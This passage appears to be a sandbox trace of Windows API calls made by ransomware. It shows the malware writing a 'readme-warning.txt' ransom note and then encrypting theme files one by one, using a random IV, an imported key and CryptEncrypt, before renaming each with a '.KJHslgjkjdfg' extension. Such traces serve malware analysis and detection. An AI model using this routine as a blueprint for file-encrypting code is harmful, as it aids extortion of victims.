wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0147.137] GetProcessHeap () returned 0x2a0000 [0147.137] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0147.137] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\readme-warning.txt") returned 81 [0147.137] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.138] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0147.140] CloseHandle (hObject=0x118) returned 1 [0147.141] GetProcessHeap () returned 0x2a0000 [0147.141] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0147.141] GetProcessHeap () returned 0x2a0000 [0147.141] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0147.141] GetProcessHeap () returned 0x2a0000 [0147.141] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0147.141] GetProcessHeap () returned 0x2a0000 [0147.141] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.141] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0147.141] GetProcessHeap () returned 0x2a0000 [0147.141] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0147.141] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IRIS", cAlternateFileName="")) returned 1 [0147.141] GetProcessHeap () returned 0x2a0000 [0147.141] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8a) returned 0x2ef2d8 [0147.141] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0147.142] GetProcessHeap () returned 0x2a0000 [0147.142] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0147.142] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0147.142] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f26d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f26d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1015d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IRIS.ELM", cAlternateFileName="")) returned 1 [0147.142] GetProcessHeap () returned 0x2a0000 [0147.142] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x28c) returned 0x2f32d0 [0147.142] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.143] GetProcessHeap () returned 0x2a0000 [0147.143] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.143] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.143] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.143] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x3, lpOverlapped=0x0) returned 1 [0147.146] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.146] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.146] GetProcessHeap () returned 0x2a0000 [0147.146] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0147.146] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0147.146] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.146] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0147.146] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.146] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.146] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.146] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.146] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.146] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.146] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.147] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.147] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1015d, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x1015d, lpOverlapped=0x0) returned 1 [0147.148] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x10160, dwBufLen=0x10160 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x10160) returned 1 [0147.149] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.149] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x10160, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x10160, lpOverlapped=0x0) returned 1 [0147.150] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.150] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x10224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.150] SetEndOfFile (hFile=0x118) returned 1 [0147.153] GetProcessHeap () returned 0x2a0000 [0147.153] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0147.153] GetProcessHeap () returned 0x2a0000 [0147.153] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.153] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm.kjhslgjkjdfg")) returned 1 [0147.154] CloseHandle (hObject=0x118) returned 1 [0147.154] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IRIS.INF", cAlternateFileName="")) returned 1 [0147.154] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.155] GetProcessHeap () returned 0x2a0000 [0147.155] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.155] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.155] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.155] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x2, lpOverlapped=0x0) returned 1 [0147.156] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.156] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.156] GetProcessHeap () returned 0x2a0000 [0147.157] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0147.157] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0147.157] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.157] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0147.157] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.157] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.157] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.157] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.157] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.157] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.157] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.157] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.158] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1ce, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x1ce, lpOverlapped=0x0) returned 1 [0147.158] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1d0) returned 1 [0147.158] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.158] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x1d0, lpOverlapped=0x0) returned 1 [0147.158] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.158] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.158] SetEndOfFile (hFile=0x118) returned 1 [0147.161] GetProcessHeap () returned 0x2a0000 [0147.161] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0147.161] GetProcessHeap () returned 0x2a0000 [0147.161] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.161] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf.kjhslgjkjdfg")) returned 1 [0147.169] CloseHandle (hObject=0x118) returned 1 [0147.169] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0147.169] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.170] GetProcessHeap () returned 0x2a0000 [0147.170] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.170] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.171] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.171] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.173] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.173] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.173] GetProcessHeap () returned 0x2a0000 [0147.173] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.173] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0147.173] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.173] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0147.173] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.173] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.173] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.174] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.174] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.174] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.174] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.174] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.174] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x9ac, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x9ac, lpOverlapped=0x0) returned 1 [0147.174] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x9b0, dwBufLen=0x9b0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x9b0) returned 1 [0147.174] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.174] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x9b0, lpOverlapped=0x0) returned 1 [0147.174] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.174] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xa84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.174] SetEndOfFile (hFile=0x118) returned 1 [0147.177] GetProcessHeap () returned 0x2a0000 [0147.177] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.177] GetProcessHeap () returned 0x2a0000 [0147.177] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.177] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.kjhslgjkjdfg")) returned 1 [0147.181] CloseHandle (hObject=0x118) returned 1 [0147.181] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0147.181] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.182] GetProcessHeap () returned 0x2a0000 [0147.182] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.182] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.182] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.182] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x3, lpOverlapped=0x0) returned 1 [0147.184] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.184] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.184] GetProcessHeap () returned 0x2a0000 [0147.184] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.184] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0147.184] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.184] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0147.184] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.185] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.185] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, 